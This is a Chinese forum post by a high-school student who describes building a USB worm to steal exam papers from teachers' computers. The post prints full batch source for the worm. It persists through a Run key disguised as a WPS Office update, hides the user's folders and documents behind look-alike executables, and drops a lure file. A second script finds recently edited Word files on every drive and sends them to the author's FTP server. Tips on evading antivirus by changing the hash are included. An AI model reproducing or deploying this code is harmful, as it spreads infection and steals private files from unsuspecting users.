前言:在去年7月30号称为苦逼河南高中生后,业余时间越来越少,继续给业余火箭爱好续命似乎已经不太合适 于是我开始尝试电子,单片机板块。但是似乎无论模电还是数电,别人能够一次性完成的作品 我TM不是炸管就是error。很快,高中第一学期过去,我连AD或者Keil都用不熟练。于是某同学(乌云大神,虽说乌云嗝屁一年了)建议我搞 Bad USB(自行百度)去偷卷子。之前我也有看过国产智障电影,出现过类似黑科技的玩意 从USB口一插上去 电脑就自动中毒了。 原理很简单 一块U盘+设置好的键盘用Hub连接到一个usb口上,然后键盘利用CMD指令去执行U盘里的病毒。而我们的目的就是利用病毒把出卷老师电脑里面的卷子拷贝到U盘里。我们决定融合一个远程控制病毒,通过服务器远控老师电脑。于是,我写硬件程序(也就是键盘模块),他写病毒。
+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s长者钦定分割线+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s
正文:经过几次♂讨♀论 发现Badusb并不靠谱:
1.我们学校配发的电脑都是USB2.0接口(没有3.0) 假设复制速度20MB/s 每个老师电脑里面有1GB的小片片,呸,试卷。拷贝下来需要将近9分钟,太长了,而且谁去把Bab usb插♂上去还是一个问题。
2.我们学校都是高一老师给高二出卷 高二给高一出 高三和高复轮流出。高一高复在一个校区,高二高三一个校区。我们偷出来的卷子也是高二的,明年我们高二也用不了。
3.万一被逮了,我就全校成名了。
乌云出身的某同学,发现我们学校信息教室有一个病毒,基本上每个班都有,这个病毒会把U盘根目录下所有文件夹隐藏,然后自我复制,以文件夹的名称去命名病毒。但是这个病毒有一个BUG(现在想想似乎不是bug,后面解释)和一个问题。
BUG就是它会把U盘内所有文件备份到%USERPROFILE%\AppData\Local\S-1-5-31-1286970278978-5713669491-166975984-320\文件夹下,但是不自动清除,时间一长,C盘就没有剩余空间了。
问题就是这个病毒是2008年我们学校某学生干的(似乎是志同道合的偷卷子的),当时我们学校用的是Windows XP 这个病毒图标也是XP的文件夹图标 而不是Win7 \ 8 \ 10的,很容易一眼识破。
附图:
XP文件夹图标
win7 8 10图标
该病毒信息
该病毒会隐藏原来的文件夹 并自我复制 “覆盖原来文件夹”
PS:在虚拟机里面破解该病毒时,忘了截图了,现在也懒得在打开虚拟机里截图了,反正大致就是这样:
虽说用AUTORUN去查了该病毒的启动方式(也查到了)但是似乎不是映像劫持或者注册表或者计划任务中的任何一种。也懒得深究了,毕竟时间要紧。
该病毒工作流程:
1.打开该病毒后,杀软会报毒,360这种zhi主zhang流杀软,遇到病毒,非要打开的话,必须添加信任。如果添加信任,就不再扫描任何违规动作了(比如 加入开机启动项)
2.创建并打开以该病毒名称命名的文件夹
3.创建 %USERPROFILE%\AppData\Local\Start文件夹 自我复制并重命名为 update.exe 加入启动项
4.创建%USERPROFILE%\AppData\Local\S-1-5-31-1286970278978-5713669491-166975984-320文件夹 备份U盘文件到该目录下(或许原先有上传功能,但是现在没有了,也许是服务器到期或注销) 复制U盘下USB Driver 2.0的所有文件到上述文件夹
5.隐藏U盘下所有文件夹 自我复制并改名 创建 USB 2.0 Driver 文件夹 复制中毒时USB Driver 2.0中所有文件到其下(这里用的是Xcopy 是整个文件夹都考下去,做工很粗糙,以至于原本2/3MB大小由于别人误把文件储存在其下硬生生变成195MB)
Usb 2.0 Driver似乎存的是他自身的零件
既然有前人走过的路,还走得那么成功(40个班 三十多个感染的)那为啥不模仿嘞?
于是Badusb被改成了计算机蠕虫病毒。
原本我硬件开发的任务变成了全部的软件开发 他负责安置FTP服务器。
废话有点多,到此大致讲完了,开始代码讲解。
+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s长者钦定分割线+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s+1s
先从病毒主干开始贴代码吧。。。
@echo off&setlocal enabledelayedexpansion
for %%i in (%0) do (set "name=%%~ni")
echo "%~sdp0%name%"
if /i not "!cd!" == "D:\$RECYCLE-BIN" (
md "%~sdp0%name%"
explorer "%~sdp0%name%"
attrib +s +a +h "%~sdp0%name%"
)
if /i not exist "C:\Developer-Certificate\USB-hacker" (
if /i not "!cd!\%name%" == "D:\$RECYCLE-BIN\Wpsupdater" (
if /i not exist "D:\$RECYCLE-BIN\Wpsupdater.exe" (
md D:\$RECYCLE-BIN\Wpsupdater
attrib -s -a -h D:\$RECYCLE-BIN
attrib -s -a -h D:\$RECYCLE-BIN\Wpsupdater
md "%~d0\$RECYCLE-BIN"
attrib -s -a -h "%~d0\$RECYCLE-BIN"
copy /y "%~sdp0%name%.exe" "%~d0\$RECYCLE-BIN\Wpsupdater.exe"
attrib +s +a +h "%~d0\$RECYCLE-BIN"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater.exe" "D:\$RECYCLE-BIN\"
copy /y "%~d0\$RECYCLE-BIN\Wps云备份.exe" "D:\$RECYCLE-BIN\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dd.stl" "D:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\de.stl" "D:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dmo.stl" "D:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dmu.stl" "D:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dph.stl" "D:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dpp.stl" "D:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dt.stl" "D:\$RECYCLE-BIN\Wpsupdater\"
start /d "D:\$RECYCLE-BIN\" Wpsupdater.exe
attrib +s +a +h D:\$RECYCLE-BIN
md C:\$RECYCLE-BIN\Wpsupdater
attrib -s -a -h C:\$RECYCLE-BIN
copy /y "%~sdp0%name%.exe" "%~d0\$RECYCLE-BIN\Wpsupdater.exe"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater.exe" "C:\$RECYCLE-BIN\"
copy /y "%~d0\$RECYCLE-BIN\Wps云备份.exe" "C:\$RECYCLE-BIN\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dd.stl" "C:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\de.stl" "C:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dmo.stl" "C:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dmu.stl" "C:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dph.stl" "C:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dpp.stl" "C:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dt.stl" "C:\$RECYCLE-BIN\Wpsupdater\"
attrib +s +a +h C:\$RECYCLE-BIN
REG QUERY HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /s|find "WPS-Office更新"
if ERRORLEVEL 1 (
start /d "D:\$RECYCLE-BIN\" Wpsupdater.exe
)
) else (
md D:\$RECYCLE-BIN\Wpsupdater
attrib -s -a -h D:\$RECYCLE-BIN
attrib -s -a -h D:\$RECYCLE-BIN\Wpsupdater
md "%~d0\$RECYCLE-BIN"
attrib -s -a -h "%~d0\$RECYCLE-BIN"
copy /y "%~sdp0%name%.exe" "%~d0\$RECYCLE-BIN\Wpsupdater.exe"
attrib +s +a +h "%~d0\$RECYCLE-BIN"
copy /y "%~d0\$RECYCLE-BIN\Wps云备份.exe" "D:\$RECYCLE-BIN\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dd.stl" "D:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\de.stl" "D:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dmo.stl" "D:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dmu.stl" "D:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dph.stl" "D:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dpp.stl" "D:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dt.stl" "D:\$RECYCLE-BIN\Wpsupdater\"
attrib +s +a +h D:\$RECYCLE-BIN
md C:\$RECYCLE-BIN\Wpsupdater
attrib -s -a -h C:\$RECYCLE-BIN
attrib -s -a -h C:\$RECYCLE-BIN\Wpsupdater
copy /y "%~d0\$RECYCLE-BIN\Wps云备份.exe" "C:\$RECYCLE-BIN\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dd.stl" "C:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\de.stl" "C:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dmo.stl" "C:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dmu.stl" "C:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dph.stl" "C:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dpp.stl" "C:\$RECYCLE-BIN\Wpsupdater\"
copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dt.stl" "C:\$RECYCLE-BIN\Wpsupdater\"
attrib +s +a +h C:\$RECYCLE-BIN
REG QUERY HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /s|find "WPS-Office更新"
if ERRORLEVEL 1 (
start /d "D:\$RECYCLE-BIN\" Wpsupdater.exe
)
)
)
)
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v "WPS-Office更新" /d D:\$RECYCLE-BIN\Wpsupdater.exe /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /t reg_dword /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t reg_dword /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t reg_dword /d 0 /f
if /i not "!cd!\%name%" == "D:\$RECYCLE-BIN\Wpsupdater" (
exit
)
start D:\$RECYCLE-BIN\Wps云备份.exe
set da=d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z
set dd=.doc,.docx,.dot,.dotx
set de=.xls,.xlsx
set dmo=.mp4,.flv,.rmvb,.mpj,.mpg,.avi,.m4a,.mkv,.mov,.vob,.swf,.mpeg,.webm,.wmv,.3gp
set dmu=.mp3,.m4a,.cd,.ogg,.asf,.wma,.wav,.mp3pro,.rm,.real,.ape,.module,.midi,.vqf,.audible,.flac,.vbr
set dph=.jpg,.bmp,.tga,.tif,.psd
set dpp=.ppt,.pot,.pps,.sldx
set dt=.txt
for %%f in (%da%) do (
rd /s /q "D:\$RECYCLE-BIN\%%f"
)
:str
for %%f in (%da%) do (
if exist "%%f:\" (
if /i not exist "D:\$RECYCLE-BIN\%%f" (
if /i not exist "%%f:\Developer-Certificate\USB-hacker" (
md "%%f:\USB 2.0 Driver"
md "%%f:\LOST.DIR"
md "%%f:\.android"
md "%%f:\360SANDBOX"
md "%%f:\$RECYCLE-BIN\Wpsupdater"
attrib -s -h -a "%%f:\$RECYCLE-BIN"
attrib -s -h -a "%%f:\$RECYCLE-BIN\Wpsupdater\"
copy /y "D:\$RECYCLE-BIN\Wpsupdater.exe" "%%f:\$RECYCLE-BIN\"
copy /y "D:\$RECYCLE-BIN\Wps云备份.exe" "%%f:\$RECYCLE-BIN\"
copy /y "D:\$RECYCLE-BIN\Wpsupdater\dd.stl" "%%f:\$RECYCLE-BIN\Wpsupdater\"
copy /y "D:\$RECYCLE-BIN\Wpsupdater\de.stl" "%%f:\$RECYCLE-BIN\Wpsupdater\"
copy /y "D:\$RECYCLE-BIN\Wpsupdater\dmo.stl" "%%f:\$RECYCLE-BIN\Wpsupdater\"
copy /y "D:\$RECYCLE-BIN\Wpsupdater\dmu.stl" "%%f:\$RECYCLE-BIN\Wpsupdater\"
copy /y "D:\$RECYCLE-BIN\Wpsupdater\dph.stl" "%%f:\$RECYCLE-BIN\Wpsupdater\"
copy /y "D:\$RECYCLE-BIN\Wpsupdater\dpp.stl" "%%f:\$RECYCLE-BIN\Wpsupdater\"
copy /y "D:\$RECYCLE-BIN\Wpsupdater\dt.stl" "%%f:\$RECYCLE-BIN\Wpsupdater\"
%%f:
attrib -s -a -r -h *.* /s /d
attrib +s +a +h %%f:\$RECYCLE-BIN
for %%h in (%dd%) do (
for /f "tokens=*" %%d in ('dir /s/b %%f:\*%%h') do (
attrib +s +a +h "%%d"
copy /y "D:\$RECYCLE-BIN\Wpsupdater\dd.stl" "%%f:%%~pd%%~nd.exe"
)
)
for %%h in (%de%) do (
for /f "tokens=*" %%d in ('dir /s/b %%f:\*%%h') do (
attrib +s +a +h "%%d"
copy /y "D:\$RECYCLE-BIN\Wpsupdater\de.stl" "%%f:%%~pd%%~nd.exe"
)
)
for %%h in (%dmo%) do (
for /f "tokens=*" %%d in ('dir /s/b %%f:\*%%h') do (
attrib +s +a +h "%%d"
copy /y "D:\$RECYCLE-BIN\Wpsupdater\dmo.stl" "%%f:%%~pd%%~nd.exe"
)
)
for %%h in (%dmu%) do (
for /f "tokens=*" %%d in ('dir /s/b %%f:\*%%h') do (
attrib +s +a +h "%%d"
copy /y "D:\$RECYCLE-BIN\Wpsupdater\dmu.stl" "%%f:%%~pd%%~nd.exe"
)
)
for %%h in (%dph%) do (
for /f "tokens=*" %%d in ('dir /s/b %%f:\*%%h') do (
attrib +s +a +h "%%d"
copy /y "D:\$RECYCLE-BIN\Wpsupdater\dph.stl" "%%f:%%~pd%%~nd.exe"
)
)
for %%h in (%dpp%) do (
for /f "tokens=*" %%d in ('dir /s/b %%f:\*%%h') do (
attrib +s +a +h "%%d"
copy /y "D:\$RECYCLE-BIN\Wpsupdater\dpp.stl" "%%f:%%~pd%%~nd.exe"
)
)
for %%h in (%dt%) do (
for /f "tokens=*" %%d in ('dir /s/b %%f:\*%%h') do (
attrib +s +a +h "%%d"
copy /y "D:\$RECYCLE-BIN\Wpsupdater\dt.stl" "%%f:%%~pd%%~nd.exe"
)
)
for /f "delims=" %%a in ('dir /b "%%f:\"') do (
set /a n+=1
set "wj!n!=%%a"
for /f "tokens=1* delims==" %%a in ('set wj') do (
echo "%%b"
for %%i in ("%%f:\%%b") do (
set stc=%%~ai
if "!stc:~0,1!"=="d" (
echo "%%i 是文件夹"
if /i not "%%b" == "USB 2.0 Driver" (
if /i not "%%b" == "LOST.DIR" (
if /i not "%%b" == ".android" (
if /i not "%%b" == "360SANDBOX" (
attrib +s +a +h "%%f:\%%b"
copy /y "D:\$RECYCLE-BIN\Wpsupdater.exe" "%%f:\%%b.exe"
)
)
)
)
)
)
)
)
copy /y "D:\$RECYCLE-BIN\Wpsupdater.exe" "%%f:\某某一高教师信息档案.exe"
del "%%f:\Wpsupdater.exe"
attrib -s -a -r -h "%%f:\USB 2.0 Driver"
attrib -s -a -r -h "%%f:\LOST.DIR"
attrib -s -a -r -h "%%f:\.android"
attrib -s -a -r -h "%%f:\360SANDBOX"
md "D:\$RECYCLE-BIN\%%f"
)
)
) else (
rd /s /q "D:\$RECYCLE-BIN\%%f"
)
)
ping -n 6 127.1 >nul
goto str
注:
1.某某一高教师信息档案 要改成你们自己学校的 xx学校教师信息档案 目的是吸引眼球,诱使其打开
2.千万要逃避 新建文件夹 这个智障文件夹 一旦有任何可执行文件(比如 .BAT .CMD .EXE)以该名称命名,管你3721 360直接爆你菊花。
3.这个是用批处理写的 也就是先复制到文本文档 再用编译器编译为EXE文件 ,这时可以设置为后台程序,图标可以弄成WIN7 8 10 文件夹图标
4.像前辈那样仅仅隐藏文件夹可不够 我又隐藏了 TXT DOC PPT 视频 音乐等等常用文件系列格式,源代码中有(隐藏压缩包的话 腾讯管家报毒)
5.因为该程序没用使用恶意代码 刚刚编译出来 360云查杀可以过 但是360云查杀会把你要求查杀的文件上传 到360总部虚拟机二次查杀 过两天就报毒了。(报毒也好 一旦被用户加入360白名单 加入开机启动就不在话下)
附图:
正是因为没有使用恶意代码 360用特征法查不出来 只能上报总部虚拟机 所以在360报毒之后 手动修改md5就又没事了。
6.我已经对CPU占用进行了优化 一方面照顾了刷新率 一方面还考虑了老师那破电脑的兼容性
然后就是万恶之源 FTP上传试卷
@echo off&setlocal enabledelayedexpansion
md D:\$RECYCLE-BIN\
attrib +s +h +a D:\$RECYCLE-BIN
:str
set da=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z
set dc=.docx,.doc,.rtf
for %%f in (%da%) do (
if exist "%%f:\" (
for %%h in (%dc%) do (
for /f "tokens=*" %%g in ('dir /s/b %%f:\*%%h') do (
for /f "tokens=1-10 delims=/-: " %%i in ("%%~tg !date:~,10! !time:~,5!") do (
set/a y1=%%i,m1=1%%j%%100,d1=1%%k%%100,h1=1%%l%%100,f1=1%%m%%100,y2=%%n,m2=1%%o%%100,d2=1%%p%%100,h2=1%%q%%100,f2=1%%r%%100
set /a "f=(1461*(y2+(m2-14)/12)/4+367*(m2-2-(m2-14)/12*12)/12-3*((y2+(m2-14)/12)/100+1)/4-1461*(y1+(m1-14)/12)/4-367*(m1-2-(m1-14)/12*12)/12+3*((y1+(m1-14)/12)/100+1)/4-d1+d2)*1440+(h2-h1)*60+f2-f1"
if !f! leq 4320 (
echo open 你的域名或者ftp的ip地址 > D:\$RECYCLE-BIN\Winre.wim
echo 123>>D:\$RECYCLE-BIN\Winre.wim
echo 123>>D:\$RECYCLE-BIN\Winre.wim
echo bin>>D:\$RECYCLE-BIN\Winre.wim
echo 当前时间:【!date:~,10! !time:~,5!】距离上次修改时间:【%%~tg】已过!f!分钟
echo mput "%%g" >>D:\$RECYCLE-BIN\Winre.wim
echo bye >>D:\$RECYCLE-BIN\Winre.wim
FTP -s:\$RECYCLE-BIN\Winre.wim -i
echo %%g上传完成
del D:\$RECYCLE-BIN\Winre.wim /q
)
)
)
)
)
)
goto str
注:
1.把文中的你的域名或者ftp的ip地址改为你的域名或者ftp的ip地址 建议前者 因为如果服务器挂了 再开一台服务器 ip地址就换了 而你可以一直用一个域名 即使ftp挂了。
2.该程序会全盘搜索 “.docx,.doc,.rtf”文件 一旦在72小时(即程序中的4320分钟)之内修改 就会上传
3.不太懂的或者没试过太多次的不要试图优化该程序 因为我发现一旦用mput连续放太多文件后 连接会失效 (mput用一次换一个端口 一会就破范围了) 而且上述后缀的文件处于360重点保护之下,连续访问超过7个 就会被360关小黑屋(提示 疑似勒索病毒正在连续访问您的文档),但是ftp上传不会。
4.360对电脑的监管力度一直处于波动 三天严 两天松 有时启动ftp360不包菊 有时爆
主层就这么多 沙发板凳接着贴
附件
图标.zip
(21 KB, 下载次数: 0)
|
-
|